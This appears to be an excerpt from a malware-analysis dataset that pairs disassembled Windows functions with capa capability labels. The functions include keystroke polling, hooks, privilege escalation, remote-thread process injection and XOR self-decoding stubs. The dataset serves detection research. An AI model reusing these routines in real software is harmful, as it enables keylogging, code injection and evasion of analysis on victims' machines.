joyce8/EMBER2024-capa huggingface dataset:
Function at 0x448778
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x47cd2c]
cmp byte [eax + 0xc], 0
je 0x4488e5
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4488de
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x47db94], 0
jne 0x4487cc
push 0x4488ec
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x4488f4
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x47db94], eax
cmp dword [0x47bc78], 0
jne 0x4488c7
push 0x448904
call sub.kernel32.dll_LoadLibraryA
mov dword [0x47bc78], eax
cmp dword [0x47bc78], 0
je 0x4488c7
push 0x448910
mov eax, dword [0x47bc78]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x47db98], eax
push 0x448920
mov eax, dword [0x47bc78]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x47db9c], eax
push 0x448934
mov eax, dword [0x47bc78]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x47dba0], eax
push 0x44894c
mov eax, dword [0x47bc78]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x47dba4], eax
push 0x448964
mov eax, dword [0x47bc78]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x47dba8], eax
push 0x448978
mov eax, dword [0x47bc78]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x47dbac], eax
push 0x448990
mov eax, dword [0x47bc78]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x47dbb0], eax
push 0x4489a8
mov eax, dword [0x47bc78]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x47dbb4], eax
push 0x4489c4
mov eax, dword [0x47bc78]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x47dbb8], eax
push 0x4489d0
mov eax, dword [0x47bc78]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x47dbbc], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4488e5
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x44c78c
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00403ee8
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x44c7db
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.00404158
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x453fc0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x454010]
test si, 4
je 0x453fd4
or bl, 1
test si, 8
je 0x453fde
or bl, 4
test si, 1
je 0x453fe8
or bl, 8
test si, 2
je 0x453ff2
or bl, 0x10
test si, 0x10
je 0x453ffc
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x45400b
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x454014
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x45404c]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x45402d
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x45403c
or bl, 4
test esi, 0x20000000
je 0x454047
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x45a6f4
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x45a706
add esp, 0xfffffff0
call fcn.004034bc
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041ce30
mov eax, dword [0x47c9ac]
mov dword [eax + 4], ebx
mov dword [eax], 0x45aa98
mov eax, dword [0x47c9b8]
mov dword [eax + 4], ebx
mov dword [eax], 0x45aaa4
mov eax, ebx
call fcn.0045aab0
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x415128]
call fcn.00403168
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x415128]
call fcn.00403168
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x415128]
call fcn.00403168
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x415128]
call fcn.00403168
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x415128]
call fcn.00403168
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x456ecc
push eax
push 0
push 0
mov eax, dword [0x47cb14]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41e8b4]
call fcn.004200c8
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41e8b4]
call fcn.004200c8
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41e8b4]
call fcn.004200c8
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.0045aed0
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x45adac
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x45adac
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x45adac
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x45a843
call fcn.00403514
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x45ab90
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x45ad3b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x45ad1c
mov dl, 1
mov eax, dword [0x415544]
call fcn.00403168
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00403ee8
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x45ad0b
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00448ad8
test al, al
je 0x45acfe
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x45ad4c
lea eax, [ebp - 0x254]
call fcn.00408dc4
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x45acfe
xor eax, eax
push ebp
push 0x45acf7
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x45ad84
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x45ace0
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404158
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x45ace0
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404158
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45acfe
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x45ac01
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.00419020
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45ad42
lea eax, [ebp - 0x260]
call fcn.00403ee8
ret

Function at 0x45b670
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x47dbe0]
cmp byte [eax + 0xa5], 0
jne 0x45b6e1
cmp dword [0x47dbf8], 0
jne 0x45b6a2
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x45b62c
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x47dbf8], eax
cmp dword [0x47dbf4], 0
jne 0x45b6bd
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x47dbf4], eax
cmp dword [0x47dbfc], 0
jne 0x45b6e1
push esp
push 0
push 0
push 0x45b5d0
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x47dbfc], eax
pop edx
ret
Function at 0x45b7d8
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x45b7ef
add esp, 0xfffffff0
call fcn.004034bc
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041ce30
mov eax, dword [0x47cb00]
cmp word [eax + 2], 0
jne 0x45b817
mov eax, dword [0x47cb00]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045cf40
mov eax, dword [0x47cbb8]
cmp word [eax + 2], 0
jne 0x45b831
mov eax, dword [0x47cbb8]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045d138
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x415128]
call fcn.00403168
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x415128]
call fcn.00403168
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x41f434]
call fcn.0042709c
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x45b9b8
mov eax, dword [0x47ca1c]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.0042746c
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x45d6d8
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x47ca1c]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040c594
test eax, eax
je 0x45b926
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.004087a4
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040c5bc
test eax, eax
je 0x45b93a
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00404158
mov eax, dword [0x47c8d4]
cmp byte [eax], 0
jne 0x45b96e
mov eax, ebx
call fcn.0045bae0
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.0045d8b4
mov eax, ebx
call fcn.0045e278
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x45b9ae
call fcn.00403514
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x45bd60
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x47dbe0]
cmp dword [eax + 0x30], 0
je 0x45be0a
cmp dword [ebx + 0x94], 0
jne 0x45be04
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x45bcf0
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x45be04
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x45bdca
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x45be04
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00417490
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x45bdd9
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x45c96c
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x45c9a1
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403fd8
jmp 0x45c9ae
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00403f3c
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x45da90
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x45dad1
mov eax, esi
call fcn.004440c0
test al, al
je 0x45dad1
mov eax, dword [ebx + 0x84]
call fcn.00443dbc
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x45dad1
push 0
mov eax, dword [ebx + 0x84]
call fcn.00443dbc
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x4614ac
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x4614da
mov eax, ebx
call fcn.00461f60
cmp dword [ebx + 0x40], 0
je 0x4614d3
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x46154b
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x46153d
cmp dword [ebx + 8], 0
je 0x4614fc
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x46150e
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x46153d
cmp dword [ebx + 8], 0
je 0x4614ef
cmp eax, 3
je 0x461521
dec eax
jne 0x4614ef
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x4614ef
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x4614ef
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x461569
cmp dword [ebx + 0x14], 0xcc
je 0x461569
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.00461574
pop ebx
ret
Function at 0x471ee0
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
lea eax, [ebp - 0x10]
mov edx, dword [0x4146b0]
call fcn.00404880
xor eax, eax
push ebp
push 0x472024
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x47c7b4], 0
jne 0x471f33
mov ecx, dword [0x47c8e4]
mov dl, 1
mov eax, dword [0x407114]
call fcn.0040b7c0
call fcn.00403924
lea eax, [ebp - 0x20]
xor ecx, ecx
mov edx, 0x10
call fcn.00402bac
mov eax, ebx
call fcn.00404750
mov dword [ebp - 0x1c], eax
push esi
push edi
mov esi, 0x472034
lea edi, [ebp - 0x30]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
lea eax, [ebp - 0x30]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
call fcn.00405804
xor eax, eax
mov dword [ebp - 8], eax
mov eax, ebx
call fcn.00404760
test eax, eax
jle 0x471fcb
mov dword [ebp - 4], 0x10
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x40]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x471fc4
lea eax, [ebp - 0x44]
mov edx, ebx
call fcn.00404170
mov eax, dword [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
lea edx, [ebp - 0x40]
mov ecx, 0x10
call fcn.00404158
mov eax, dword [ebp - 0x48]
pop edx
call fcn.00407fa8
test eax, eax
jne 0x471fc4
mov ebx, 0x15
jmp 0x471fd0
mov ebx, 0x10
jmp 0x471fd0
mov ebx, 0x15
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 0x20]
push eax
push ebx
push 0
push esi
call dword [0x47c7b4]
call fcn.00471e38
mov eax, dword [ebp - 8]
call fcn.00471e38
mov eax, edi
mov edx, dword [ebp - 0xc]
call fcn.0040581c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47202b
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.00403f0c
lea eax, [ebp - 0x10]
mov edx, dword [0x4146b0]
call fcn.00404950
ret
Function at 0x4797dc
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00404398
xor eax, eax
push ebp
push 0x4798cf
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 4]
call fcn.00404740
xor ebx, ebx
push esi
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov edi, eax
cmp edi, 0xffffffff
je 0x4798b1
push 0x4798e0
push 0x4798f0
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [ebp - 8], eax
push 0x40
push 0x3000
mov eax, dword [ebp - 0x14]
call fcn.00404760
add eax, eax
add eax, 2
push eax
push 0
push edi
call sub.kernel32.dll_VirtualAllocEx
mov esi, eax
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x14]
call fcn.00404760
add eax, eax
push eax
mov eax, dword [ebp - 0x14]
call fcn.00404750
push eax
push esi
push edi
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x479886
mov bl, 1
lea eax, [ebp - 0x10]
push eax
push 0
push esi
mov eax, dword [ebp - 8]
push eax
push 0
push 0
push edi
call sub.kernel32.dll_CreateRemoteThread
mov esi, eax
push 0xffffffffffffffff
push esi
call sub.kernel32.dll_WaitForSingleObject
push edi
call sub.kernel32.dll_CloseHandle
push esi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4798d6
lea eax, [ebp - 0x14]
call fcn.004045f4
lea eax, [ebp - 4]
call fcn.00403ee8
ret

Function at 0x8de1cc
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x8de1d2
pop ebp
sub ebp, 6
sub ebp, 0x4de1cc
jmp 0x8de230
jmp 0x8de239
mov eax, 0x4de1cc
add eax, ebp
add eax, 0x93
mov ecx, 0x62f
mov edx, 0x433f0cc6
xor byte [eax], dl
inc eax
dec ecx
jne 0x8de250
jmp 0x8de263
lodsb al, byte [esi]
xchg byte [esi - 0x3939293a], ch
scasb al, byte es:[edi]
invalid
Function at 0x637f10
Capabilities:
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x64c9fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, dword [esp + 0x2c]
xor ebp, ebp
mov dword [esp + 0x10], eax
xor ebx, ebx
mov eax, 1
mov ecx, ebx
shl eax, cl
mov ecx, dword [esp + 0x10]
test ecx, eax
je 0x638002
lea edx, [ebx + 0x41]
lea eax, [esp + 0x14]
push edx
push str._c:_
push eax
call fcn.0063bdff
add esp, 0xc
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x638002
lea edx, [esp + 0x14]
push edx
push str.Mounting__s_n
call fcn.006336e0
lea eax, [esp + 0x1c]
lea edi, [esi + 0x1048]
push eax
push edi
mov word [esp + 0x28], bp
call fcn.0063c20b
push 0x10
call fcn.0063c1d3
add esp, 0x14
mov dword [esp + 0x2c], eax
cmp eax, ebp
mov dword [esp + 0x24], ebp
je 0x637fc5
mov cx, word [edi]
push ecx
mov ecx, eax
call fcn.006281c0
jmp 0x637fc7
xor eax, eax
push esi
mov dword [esp + 0x28], 0xffffffff
mov dword [esi], eax
call fcn.00637b80
mov edi, dword [esi]
add esp, 4
cmp edi, ebp
je 0x637ff0
mov ecx, edi
call fcn.006282c0
push edi
call fcn.0063c1c8
add esp, 4
mov edx, dword [esi + 0x1024]
push ebp
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x638021
inc ebx
cmp ebx, 0x20
jb 0x637f3e
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
add esp, 0x18
ret
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov dword fs:[0], ecx
add esp, 0x18
ret
Function at 0x63b1b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.0063b140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.0063b140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.0063b140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.0063b140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0x63bbfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x63bc50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x64d87c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x63bc43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x63bc52
xor eax, eax
pop esi
leave
ret 4
Function at 0x401d5a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2b0
push ebx
push esi
push edi
and dword [ebp - 0x19c], 0
xor edi, edi
mov dword [ebp - 0x2a4], 0x10a3
mov eax, dword [ebp - 0x2a4]
or eax, eax
jl 0x401d99
cmp eax, dword [0x4040e0]
jge 0x401d99
cmp byte [eax + 0x4040e4], 0x54
jl 0x401e5f
mov dword [ebp - 0x2a8], 0xd32
mov eax, dword [ebp - 0x2a8]
or eax, eax
jl 0x401dc3
cmp eax, dword [0x4040e0]
jge 0x401dc3
cmp byte [eax + 0x4040e4], 0x19
jge 0x401e48
mov dword [ebp - 0x2ac], 0x140a
jmp 0x401e1b
mov eax, dword [ebp - 0x2ac]
or eax, eax
jl 0x401df0
cmp eax, dword [0x4040e0]
jge 0x401df0
movsx eax, byte [eax + 0x4040e4]
cmp eax, 0xc8
jle 0x401e31
mov eax, dword [ebp - 0x2ac]
or eax, eax
jl 0x401e11
cmp eax, dword [0x4040e0]
jge 0x401e11
movsx eax, byte [eax + 0x4040e4]
cmp eax, 0xe6
jge 0x401e31
add dword [ebp - 0x2ac], 0x10f
mov eax, dword [ebp - 0x2ac]
cmp eax, dword [ebp - 0x2a4]
jle 0x401e31
cmp eax, dword [0x4040e0]
jl 0x401dcf
sub dword [ebp - 0x2a8], 0x1e9
cmp dword [ebp - 0x2a8], 0x5d
jg 0x401da3
sub dword [ebp - 0x2a4], 0x1f3
cmp dword [ebp - 0x2a4], 0x3e
jg 0x401d79
lea eax, [ebp - 0x104]
push eax
push 0x104
call sub.KERNEL32.dll_GetTempPathA
and dword [ebp - 0x198], 0
lea eax, [ebp - 0x198]
push eax
call sub.KERNEL32.dll_GetVersionExA
push 0
push 0
push 3
push 0
push 0
push 0x80000000
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_CreateFileA
mov ebx, eax
mov byte [ebp - 0x104], 0
call sub.KERNEL32.dll_GetLastError
mov esi, eax
mov dword [ebp - 0x2a4], 0x252e
mov eax, dword [ebp - 0x2a4]
or eax, eax
jl 0x401ed8
cmp eax, dword [0x4040e0]
jge 0x401ed8
cmp byte [eax + 0x4040e4], 0x12
jge 0x401f9f
mov dword [ebp - 0x2a8], 0x164b
mov eax, dword [ebp - 0x2a8]
or eax, eax
jl 0x401f02
cmp eax, dword [0x4040e0]
jge 0x401f02
cmp byte [eax + 0x4040e4], 0x54
jg 0x401f88
mov eax, dword [ebp - 0x2a4]
mov dword [ebp - 0x2ac], eax
jmp 0x401f5f
mov eax, dword [ebp - 0x2a4]
mov dword [ebp - 0x2b0], eax
jmp 0x401f46
mov eax, dword [ebp - 0x2b0]
or eax, eax
jl 0x401f3f
cmp eax, dword [0x4040e0]
jge 0x401f3f
movsx eax, byte [eax + 0x4040e4]
cmp eax, 0x86
jle 0x401f58
add dword [ebp - 0x2b0], 0x43
mov eax, dword [ebp - 0x2b0]
cmp eax, dword [ebp - 0x2ac]
jge 0x401f58
or eax, eax
jg 0x401f1e
add dword [ebp - 0x2ac], 0x46
mov eax, dword [ebp - 0x2ac]
cmp eax, dword [ebp - 0x2a8]
jge 0x401f71
or eax, eax
jg 0x401f10
add dword [ebp - 0x2a8], 0xfffffccb
cmp dword [ebp - 0x2a8], 0x25
jg 0x401ee2
add dword [ebp - 0x2a4], 0xfffffd33
cmp dword [ebp - 0x2a4], 0x44
jg 0x401eb8
mov edi, esi
sub edi, 3
push ebx
call sub.KERNEL32.dll_CloseHandle
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx